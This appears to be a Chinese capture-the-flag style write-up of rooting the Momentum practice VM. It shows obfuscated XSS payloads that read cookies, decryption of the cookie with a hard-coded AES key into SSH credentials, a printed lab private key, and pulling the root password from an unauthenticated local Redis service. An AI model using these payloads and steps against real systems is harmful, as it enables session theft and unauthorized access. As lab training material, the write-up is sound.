渗透测试——Momentum靶机渗透提取详细教程(XSS漏洞解密Cookie,SS获取信息,Redis服务利用)

大家好,今天是大年初六,也是要重新回归正常的学习工作状态了;这里也是祝大家工作顺利,技术提示;

  • 话不多说,还是继续给大家带来一篇渗透测试的文章------Momentum靶机,希望对大家有所帮助;

文章目录


前置准备

这里我们还是配置好靶机的网卡以及网络设置,然后就开始我们的渗透阶段 (具体步骤可以看往期的文章,最详细的应该是第一篇:DC3靶场主机渗透横向教程(包含详细安装教程)

剩下的步骤也是不再赘述;

Kali的IP地址还是万年不变的:192.168.56.102

信息收集

这里还是推荐大家使用多种工具对目标机器进行信息收集:

bash 复制代码
nmap -sP 192.168.56.0/24

# 详细信息收集
nmap -sC -sV -A -p- 192.168.56.114

结果如下:

可以得到目标主机IP为:192.168.56.116

具体开放的端口以及服务:

开放端口及服务功能

  • 22/tcp open ssh:OpenSSH 7.9p1 Debian 10+deb10u2,用于远程登录和安全文件传输
  • 80/tcp open http:Apache httpd 2.4.38,提供Web服务,运行着Momentum站点
  • 操作系统:Linux 4.15 - 5.8(Debian 10)

Web服务信息收集

随后我们访问网址: http://192.168.56.116/,得到结果如下:

熟悉一段时间,发现并没有什么可用信息,所以先尝试对其进行Web目录枚举


可以看到并没有什么有用的信息;

页面和Web目录均无可用信息,接下来我们还有什么思路?

  • 回头重新熟悉系统以及扫描的文件;

比如点击页面图片后,发现跳转到另一个页面:

http://192.168.56.116/opus-details.php?id=visor

而输入其他id,也会显示相应的id:

那么其中会不会存在SQL注入呢? 这里用sqlmap等跑了一下,并没有效果:

那接下来就查看一下扫描得到的文件:

发现只有 /js 页面存在内容:

页面内容如下:

bash 复制代码
function viewDetails(str) {

  window.location.href = "opus-details.php?id="+str;
}

/*
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));
*/

代码分析:

  • 首先接收一个字符串 str 拼接到参数 id 后面,跳转到:opus-details.php?id=xxx
    • 并且没有做类型检查,数字限制,正则校验,说明参数完全可控
  • 可能存在的漏洞:不安全的直接对象引用IDOR(比如访问id=10的内容),SQL注入等;
    • 之前实验过了,都不存在;
  • 存在一个固定密钥:SecretPassphraseMomentum
    • 假设页面里有加密内容,打开浏览器控制台,引入 CryptoJS,执行命令,就可以解密数据。
bash 复制代码
CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum")

新知识:这里js文件以及SQL注入等方法并没有发现漏洞;那只能是我自己的知识面不够宽泛;

  • 在看了WP后也确实如此,还能存在XSS漏洞

XSS漏洞发现

随后我也尝试了测试,果然是存在:

数据包内容:

手工测试:


bash 复制代码
# 可用payload
<D3V/+/oNmoUseOveR%09=%09confirm()>v3dm0s
<A%09oNmOUSeOver%09=%09(confirm)()%0dx>v3dm0s
<htMl%0donPOintEReNTer%0a=%0aa=prompt,a()>

具体的xss语句利用可以看:[第二章] web入门---N1book靶场详细思路讲解(一)

(我有罪,太久没关注XSS,竟然忘记了它。。。)

XSS漏洞利用

Cookie注入

首先我们先获取网页的Cookie数据:

bash 复制代码
# 获取cookie
<script>alert(document.cookie)</script>
<ScRiPt>alert(document.cookie)</ScRiPt>

# 使用 IMG 事件(绕过 script 过滤)
<img src=x onerror="alert(document.cookie)">
<iMg src=x oNeRrOr="alert(document.cookie)">

结果:cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

解密Cookie

之前信息收集时知道使用AES加密对一个字符串进行解密,解密密匙是:SecretPassphraseMomentum

因此找一个可以在线解密AES的网站对cookie进行解密:http://www.jsons.cn/aesencrypt/

得到结果:auxerre-alienum##

SSH登陆系统

之前我们得到目标机器开启了22和80服务,所以我们可以利用的字符串尝试登陆一下:

bash 复制代码
ssh auxerre@192.168.56.116
auxerre-alienum##

经过尝试,账号密码为:auxerre / auxerre-alienum##

进入后发现两个可疑文件 / 目录:

随后进入到.ssh 目录(看看能否进行SSH密钥登陆,获取root权限

具体SSH密钥登陆步骤可以看内网横向------VulnStack-4靶场内网横向解析的"Docker服务器逃逸" ------> "写入SSH密钥获取权限" 部分;

bash 复制代码
auxerre@Momentum:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAZSt5qiW
rw/YfYM4vqhw+aAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCwF1phANl9
nXN4UkdKgqgfjxxo2t29UcrnTDKpAnLeZ+qFh5XeSL4J5BzGX1jQn5AXoQzg33kmtEiWlV
akkdisX+jP6r83fgbx10ue2t2rmZa6LZhGL7Me5xi85PAbJMy38uk33iPqHGmTSCyE7ovc
/iBzjEuHwcIivSzrRKu/eMe97Qrp3DiyYAoIbqhPk3CIGu++othCh8aJMNFueHxsWSYEUY
lIS9Qm74qbBaGiUiEb3uWmDlVFEN70hgTXLD1VeG5SA1L3lZWlxKu3n38I4Ti6R84xRG72
xot7OBA/BdTB/LUYm5DME/QNVAz2rBovHAYZQoLUtcwNDiKAWhPxAAAD0OmX8T40GSUsg/
9sSiZ1QU/VkEHrlHMfplL5AB8jTyv+RJmAD1nYyFldg/1Bayy6ns4tOw2lvyU4Esy+/fNu
iGpvjoO5U2C3ZU1/lGM7rTUTDSF5JiaUwDBLIDK6AQttF2lroA3oCUwpnXBYWq0XSl7uub
eQmLZ3NzQY/Az/2WMW8UUlM7QbZ5mfXO5g9VBAUjqc1NC1r5OOgFFXO+UAxhQcVtjb5J5m
WFpEMgMIf1VGnI71uLZdgFKe0gT1LmcU/h0+WsQEJF0Yth602e8Umuj86Zx6nd1v05BYt6
qQuRnCFM7qUfT/BYOnBfqorC+HVahYzH692RObHXqJAIMQM6BiXNr256MvBaQAP/p0PEzn
4obK+mpS4EXW9KVQ85yRJdDCXRtMicxWO2WVdCVEph1HcyT92Z2FseoOmvrx6dErQ3Ga0I
3mTeVV5Z5nREBkky9jpudMV2MnIb3jYrIvFlTczSruWheKWSVTiFDqCHxCiIYq4/+N026M
Yx4sdCRKhONem1QFsYtL/BuTSI3nDzduIwshJ/xSXmfT+26N4Qq+OJ0IEXCnYLehGVPXbs
IRHWPtMGMIhcxcdRvrlRl0yFxw9T3XeAbD5Xp4WYmpcJUvbQbUSNqy3WOCu9y+A2d9seWR
i33pWtwvjn6cnHoq6Rlg9Rx+H/YMIbdBbirH7WZTge95iViXVck/VCfzOolp4f47wcfisi
92a19DRcOKO2uNcw8n8zy8WMXoOY7hOb0+ku6adLtIsgdtxa3c87qtGOzrXVG5RXE5f7hG
BjsUou1MYhy9Cp3dS2ZnpPyMcg8U/KlVMTP91yOPKskOEZ3NH9/KSBRF4ftp1/f7pWixKj
tkOP+62qy186+NLHU1Rt4wirDsjtFH4Kp680HfeWCU/m8jZwtAh49nYCExG3Tu24SnkUbx
FVo1af9LHS2RF4wuY0Fengfw8/7qNS+cSGj/u6JlgKIzwDu84/EjnyjctOJo9z9u0cGHwE
vWjKH7TI9kmRgo4nBPQSYPmO8xwzCmnWFe94mFn6KBIFVd5UrdYlKVd9Uknf+vLme1CD3B
r9eQyHb/ROyZynpzEI6xZoCoUVtnEFqdM5h8A19UrDLkdKzepvLnjyiXz8H0i8weMmNT2h
QehYzidvberv2L6DKHUXfJWdvRQ4ejuJUEXPQdSvmLejJegwDos+hcXiIOk3+mbPQYaaZa
7xPDX5P7SPgyjI2h4AeUijGkOjbaapZW0vgM9JOV09H+rk0h0ADDu4gG9zQNV+oGPz7Dx5
J6aRsryAss246zRovUAuXOy3vQcPU=
-----END OPENSSH PRIVATE KEY-----

auxerre@Momentum:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwF1phANl9nXN4UkdKgqgfjxxo2t29UcrnTDKpAnLeZ+qFh5XeSL4J5BzGX1jQn5AXoQzg33kmtEiWlVakkdisX+jP6r83fgbx10ue2t2rmZa6LZhGL7Me5xi85PAbJMy38uk33iPqHGmTSCyE7ovc/iBzjEuHwcIivSzrRKu/eMe97Qrp3DiyYAoIbqhPk3CIGu++othCh8aJMNFueHxsWSYEUYlIS9Qm74qbBaGiUiEb3uWmDlVFEN70hgTXLD1VeG5SA1L3lZWlxKu3n38I4Ti6R84xRG72xot7OBA/BdTB/LUYm5DME/QNVAz2rBovHAYZQoLUtcwNDiKAWhPx auxerre@Momentum

但是其实发现:这密钥就是当前用户的(无用功)

提取

ss获取端口服务

首先,使用sudo su和find / -perm -4000 -type f 2>/dev/null查找可以进行提权的相关信息,但是未发现可以利用的信息。

查看开放的端口:netstat -anotlp |more

那就用ss命令代替:Linux 下用于查看网络连接、端口监听、socket 状态的工具;

问题 原因 解决
sudo 不存在 未安装 如果是 root 不需要
netstat 不存在 net-tools 未安装 用 ss
apt 不存在 精简系统 只能用已有工具

结果如下:

bash 复制代码
ss
ss -anotlp

这里发现了6379端口,那很显然就是Redis服务

Redis服务利用

Redis服务怎么利用获取信息?没关系,之前我的文章都有:内网横向------记录某三层网络渗透及综合渗透(socks代理隧道搭建,nacos未授权,redis上传Webshell)

bash 复制代码
# 进入系统
redis-cli

# 查看信息
info
keys *


好像得到了root用户密码的健?get rootpass查看内容:

得到密码:m0mentum-al1enum##

bash 复制代码
# 当前用户账号密码:
auxerre / auxerre-alienum##

# root用户账户密码
root / m0mentum-al1enum##

直接退出Redis服务,su root切换用户:

成功得到最高权限:

成功getshell;

总结

  • XSS 漏洞发现与利用:在输入点构造恶意脚本成功触发执行,确认存在 XSS 漏洞;通过构造数据外带语句获取有效 Cookie,实现会话劫持并接管高权限账户。

  • Cookie 解码与凭证复用:对窃取的会话信息进行解码与结构分析,提取有效认证字段,验证其可用于远程登录系统服务。

  • SSH 登录系统:利用获取的有效凭证通过 22 端口成功登录目标主机,获取普通用户 Shell 权限并开展本地信息收集。

  • ss 端口信息收集:使用 ss -anotlp 枚举本机监听端口,确认开放 SSH、Web 以及仅本地监听的 Redis 服务,为后续利用指明方向。

  • Redis 服务利用:连接本地 6379 端口服务,枚举配置信息与数据库内容,结合服务特性尝试进行权限扩展或持久化利用。

期待下次再见;

相关推荐
一名优秀的码农1 小时前
symfonos系列-symfonos6v2(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
We་ct2 小时前
LeetCode 124. 二叉树中的最大路径和:刷题解析
前端·数据结构·算法·leetcode·typescript
渣瓦攻城狮2 小时前
浜掕仈缃戝ぇ鍘侸ava闈㈣瘯锛氫弗鑲冮潰璇曞畼涓庢悶绗戠▼搴忓憳璋㈤鏈虹殑瀵硅瘽
jvm·redis·docker·springboot·java闈㈣瘯·澶氱嚎绋�·璁捐妯″紡
米羊1212 小时前
shiro攻防利用
java·struts·安全
你怎么知道我是队长2 小时前
前端学习---VsCode相关插件安装
前端·vscode·学习
小程故事多_803 小时前
破局 LLM 黑盒困局,Phoenix 凭全链路可观测,重构大模型应用工程化落地规则
java·前端·人工智能·重构·aigc
紫微AI4 小时前
WebMCP:开启 Agentic Web 新时代——Chrome 新 API 的特性与前瞻
前端·chrome
恋猫de小郭10 小时前
AGENTS.md 真的对 AI Coding 有用吗?或许在此之前你没用对?
前端·人工智能·ai编程
枷锁—sha11 小时前
【pwn系列】Pwndbg 汇编调试实操教程
网络·汇编·笔记·安全·网络安全